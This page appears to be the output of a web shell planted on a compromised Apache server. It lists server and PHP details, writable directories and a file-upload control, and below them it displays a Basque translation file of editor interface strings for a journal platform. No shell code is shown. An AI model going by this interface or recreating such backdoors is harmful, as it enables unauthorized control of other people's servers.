KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/eu_ES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/eu_ES/editor.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"Last-Translator: \n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"POT-Creation-Date: 2019-11-19T10:49:21+00:00\n"
"PO-Revision-Date: 2019-11-19T10:49:21+00:00\n"
"Language: \n"

msgid "editor.home"
msgstr "Editorearen hasierako orria"

msgid "editor.submissionsAndPublishing"
msgstr "Bidalketak eta argitalpena"

msgid "editor.submissionQueue"
msgstr "Bidalketen ilara"

msgid "editor.submissionArchive"
msgstr "Bidalketa-artxiboa"

msgid "editor.publishing"
msgstr "Argitalpena"

msgid "editor.publishedIssues"
msgstr "Zenbaki argitaratuak"

msgid "editor.allSections"
msgstr "Atal guztiak"

msgid "editor.allEditors"
msgstr "Editore guztiak"

msgid "editor.me"
msgstr "Nire burua"

msgid "editor.submissionArchive.noSubmissions"
msgstr "Ez dago bidalketarik artxiboan."

msgid "editor.submissionArchive.saveChanges"
msgstr "Bidalketa artxibatuetan egindako aldaketak gorde? Ezabatzeko markatuta dauden bidalketak betiko ezabatuko dira sistematik."

msgid "editor.submissionArchive.confirmDelete"
msgstr "Ziur zaude betiko ezabatu nahi duzula bidalketa hau?"

msgid "editor.submissionReview.confirmDecision"
msgstr "Ziur zaude erabaki hau grabatu nahi duzula?"

msgid "editor.submissionReview.emailWillArchive"
msgstr "Bidalketa hau artxibatuko da Egileari jakinarazteko mezu elektronikoa bidaltzen denean edo 'Saltatu mezua' botoia sakatzen denean."

msgid "editor.notifyUsers"
msgstr "Jakinarazi erabiltzaileei"

msgid "editor.notifyUsers.inProgress"
msgstr "Jakinarazi erabiltzaileei..."

msgid "editor.usersNotified"
msgstr "Jakinarazitako erabiltzaileak"

msgid "editor.notifyUsers.allUsers"
msgstr "Bidali mezu hau aldizkariaren erabiltzaile guztiei ({$count} erabiltzaile)"

msgid "editor.notifyUsers.interestedUsers"
msgstr "Bidali mezu hau eguneratzeak jaso nahi dituztela adierazi duten erabiltzaile guztiei ({$count} erabiltzaile)"

msgid "editor.notifyUsers.includeToc"
msgstr "Sartu zenbaki honetako aurkibidea:"

msgid "editor.editorAdministration"
msgstr "Editore-administrazioa"

msgid "editor.issues.createIssue"
msgstr "Sortu zenbakia"

msgid "editor.issues.backIssues"
msgstr "Aurreko zenbakiak"

msgid "editor.issues.futureIssues"
msgstr "Etorkizuneko zenbakiak"

msgid "editor.issues.currentIssue"
msgstr "Uneko zenbakia"

msgid "editor.issues.numArticles"
msgstr "Artikuluak"

msgid "editor.issues.noArticles"
msgstr "Ez dago artikulurik programatuta zenbaki honetarako."

msgid "editor.issues.confirmDelete"
msgstr "Ziur zaude betiko ezabatu nahi duzula zenbaki hau?"

msgid "editor.issues.published"
msgstr "Argitaratuta"

msgid "editor.issues.unpublished"
msgstr "Argitaratu gabe"

msgid "editor.issues.volumeRequired"
msgstr "Bolumena zehaztu behar da: zenbaki positiboa izan behar da."

msgid "editor.issues.numberRequired"
msgstr "Zenbakia zehaztu behar da: zenbaki positiboa izan behar da."

msgid "editor.issues.yearRequired"
msgstr "Urtea zehaztu behar da: zenbaki positiboa izan behar da."

msgid "editor.issues.titleRequired"
msgstr "Zenbakiaren titulua adierazi behar da."

msgid "editor.issues.issueIdentificationRequired"
msgstr "Zenbakiaren identifikazioa eman behar da. Hautatu zenbakia identifikatzeko aukeretakoren bat."

msgid "editor.issues.issueIdentification"
msgstr "Zenbakiaren identifikazioa"

msgid "editor.issues.publicIssueIdentifier"
msgstr "Zenbaki-identifikatzaile publikoa"

msgid "editor.issues.description"
msgstr "Azalpena"

msgid "editor.issues.accessStatus"
msgstr "Sarbidea"

msgid "editor.issues.accessDate"
msgstr "Sarrera libreko data"

msgid "editor.issues.invalidAccessDate"
msgstr "Sarrera librea emateko data ez da baliozkoa."

msgid "editor.issues.coverPage"
msgstr "Azaleko irudia"

msgid "editor.issues.coverPageInstructions"
msgstr "(gif, .jpg, edo .png formatuak onartzen dira)"

msgid "editor.issues.uploaded"
msgstr "Kargatuta"

msgid "editor.issues.remove"
msgstr "Kendu"

msgid "editor.issues.proofed"
msgstr "Probak zuzenduta"

msgid "editor.issues.removeCoverPage"
msgstr "Azaleko irudia kendu?"

msgid "editor.issues.invalidCoverPageFormat"
msgstr "Azaleko orriaren formatua ez da zuzena: .gif, .jpg, edo .png formatuak bakarrik onartzen dira."

msgid "editor.issues.styleFile"
msgstr "Estilo-orria"

msgid "editor.issues.invalidStyleFormat"
msgstr "Estilo-orriaren formatua ez da zuzena: Ziurtatu bidalitako fitxategia CSS baliozkoa dela. (Kontuan izan hasieran iruzkinak dituzten estilo-orriak atzera botatzen direla batzuetan)."

msgid "editor.issues.removeStyleFile"
msgstr "Estilo-orria kendu?"

msgid "editor.issues.showCoverPage"
msgstr "Sortu zenbaki honen azala ondorengo elementuekin."

msgid "editor.issues.coverPageDisplay"
msgstr "Erakutsi"

msgid "editor.issues.hideCoverPageArchives"
msgstr "Ez erakutsi azaleko irudiaren koadro txikia zenbakien zerrendan."

msgid "editor.issues.hideCoverPageCover"
msgstr "Ez erakutsi azaleko irudia aurkibidearen aurretik."

msgid "editor.issues.openAccess"
msgstr "Sarrera librea"

msgid "editor.issues.subscription"
msgstr "Harpidetza"

msgid "editor.issues.identification"
msgstr "Identifikazioa"

msgid "editor.issues.access"
msgstr "Sarbidea"

msgid "editor.issues.cover"
msgstr "Azala"

msgid "editor.issues.confirmIssueDelete"
msgstr "Artikulu guztiak edizio-ilarara itzuliko dira eta asoziatutako fitxategi guztiak betiko kenduko dira.  Ziur zaude zenbaki hau ezabatu nahi duzula?"

msgid "editor.issues.resetIssueOrder"
msgstr "Aldizkariak zenbaki-ordena pertsonalizatua erabiltzen du. <a href=\"{$url}\" class=\"action\">Berrezarri balio lehenetsiak</a>"

msgid "editor.issues.resetSectionOrder"
msgstr "Zenbakiak atalen ordena pertsonalizatua erabiltzen du. <a href=\"{$url}\" class=\"action\">Berrezarri balio lehenetsiak</a>"

msgid "editor.issues.issueData"
msgstr "Zenbakiaren datuak"

msgid "editor.issues.saveChanges"
msgstr "Aurkibidean egindako aldaketak gorde?"

msgid "editor.issues.default"
msgstr "Lehenetsia"

msgid "editor.issues.order"
msgstr "Ordena"

msgid "editor.issues.publicId"
msgstr "Id publikoa"

msgid "editor.issues.publishIssue"
msgstr "Argitaratu zenbakia"

msgid "editor.issues.previewIssue"
msgstr "Zenbakiaren aurrebista"

msgid "editor.issues.preview"
msgstr "(Aurrebista)"

msgid "editor.issues.confirmPublish"
msgstr "Ziur zaude zenbaki berria argitaratu nahi duzula?"

msgid "editor.issues.publicArticleIdExists"
msgstr "Ezin izan da gorde artikulu honen id publikoa:"

msgid "editor.issues.noLiveIssues"
msgstr "Ez dago hasitako zenbakirik"

msgid "editor.issues.open"
msgstr "Irekia"

msgid "editor.issues.pages"
msgstr "Orrialdeak"

msgid "editor.navigation.futureIssues"
msgstr "Etorkizuneko zenbakiak"

msgid "editor.navigation.issueArchive"
msgstr "Aurreko zenbakiak"

msgid "editor.article.designateReviewVersion"
msgstr "Izendatu jatorrizko fitxategia Ebaluazio-bertsio gisa"

msgid "editor.article.decision"
msgstr "Erabakia"

msgid "editor.submissions.showBy"
msgstr "Erakutsi"

msgid "editor.submissions.submitMMDD"
msgstr "Bidalia: HH-EE"

msgid "editor.submissions.activeAssignments"
msgstr "Esleipen aktiboak"

msgid "editor.submissions.invite"
msgstr "Gonbidatu"

msgid "editor.submissions.accept"
msgstr "Onartu"

msgid "editor.submissions.noSubmissions"
msgstr "Bidalketarik ez"

msgid "editor.submissions.lastAssigned"
msgstr "Azkena"

msgid "editor.submissions.averageTime"
msgstr "Asteak"

msgid "editor.submissions.lastCompleted"
msgstr "Azkeneko bukatua"

msgid "editor.submissions.assignedTo"
msgstr "Honi esleitua"

msgid "editor.submissions.inSection"
msgstr "Atala"

msgid "editor.article.scheduleForPublication"
msgstr "Argitaratzeko programatu:"

msgid "editor.article.scheduleForPublication.toBeAssigned"
msgstr "Esleitzeko"

msgid "editor.article.payment.publicationFeeNotPaid"
msgstr "Argitalpen-tarifa ordaindu gabe dago. Lana argitaratzeko programatzeko, jakinarazi egileari tarifa ordaindu behar duela, edo salbuetsi ordainketa."

msgid "editor.article.showCoverPage"
msgstr "Sortu artikulu honen azala ondorengo elementuekin."

msgid "editor.article.hideCoverPageToc"
msgstr "Ez erakutsi azaleko irudia aurkibidean."

msgid "editor.article.hideCoverPageAbstract"
msgstr "Ez erakutsi azaleko irudia artikuluaren laburpenaren ikuspegian."

msgid "editor.article.remove"
msgstr "Kendu"

msgid "editor.submissionReview.cannotSendToCopyediting"
msgstr "Aurkezpena zuzentzera bidali baino lehen, erabili “Egileari Jakinarazi” esteka egileari erabakiaren berri emateko eta bidali behar den bertsioa hautatzeko."

msgid "editor.notifyUsers.allReaders"
msgstr "Irakurle guztiak ({$count} erabiltzaileak)"

msgid "editor.notifyUsers.allAuthors"
msgstr "Argitaratutako egile guztiak ({$count} users)"

msgid "editor.notifyUsers.allIndividualSubscribers"
msgstr "Harpidedun indibidual guztiak ({$count} erabiltzaileak)"

msgid "editor.notifyUsers.allInstitutionalSubscribers"
msgstr "Harpidedun instituzional guztiak ({$count} users)"

msgid "editor.issues.enableOpenAccessDate"
msgstr "Gaitu sarrera libre geroratua"

msgid "editor.issues.coverPageCaption"
msgstr "Azaleko irudia"

msgid "editor.issues.unpublishIssue"
msgstr "Gaia desargitaratu"

msgid "editor.issues.confirmUnpublish"
msgstr "Ziur al zaude desargitaratu  egin nahi duzula argitaratu dagoen gai hau?"

msgid "editor.reassign"
msgstr "Berriro esleitu"

msgid "editor.publicIdentificationExists"
msgstr "'{$publicIdentifier}' identifikatzaile publikoa jadanik erabiltzen da beste helburu batentzat (alea, artikulua, galera proba edo artxibategi osagarri bat). Mesedez, aukeratu identifikatzaile bakarrak zure aldizkariaren barruan."

msgid "editor.issues.galleys"
msgstr "Alearen galera probak"

msgid "editor.issues.galley"
msgstr "Alearen galera proba"

msgid "editor.issues.viewingGalley"
msgstr "Alearen galera proba aztertzea"

msgid "editor.issues.issueGalleysDescription"
msgstr "Argitaratu galera probak ale osoko edukiekin."

msgid "editor.issues.noneIssueGalleys"
msgstr "Ez dira argitaratu alearen galera probak."

msgid "editor.issues.galleyLabelRequired"
msgstr "Beharrezkoa da alearen galera probaren etiketa."

msgid "editor.issues.galleyLocaleRequired"
msgstr "Beharrezkoa da alearen galera probaren kokaleku bat."

msgid "editor.issues.galleyPublicIdentificationExists"
msgstr "Jadanik bada ale publikoaren galera probaren identifikazioa."

msgid "editor.issues.backToIssueGalleys"
msgstr "Atzera alearen galera probetara"

msgid "editor.issues.confirmDeleteGalley"
msgstr "Ziur al zaude alearen galera proba hau ezabatu nahi duzula?"

msgid "editor.article.coverImage"
msgstr "Azaleko irudia"

KUNTUL | JINGKONTOT |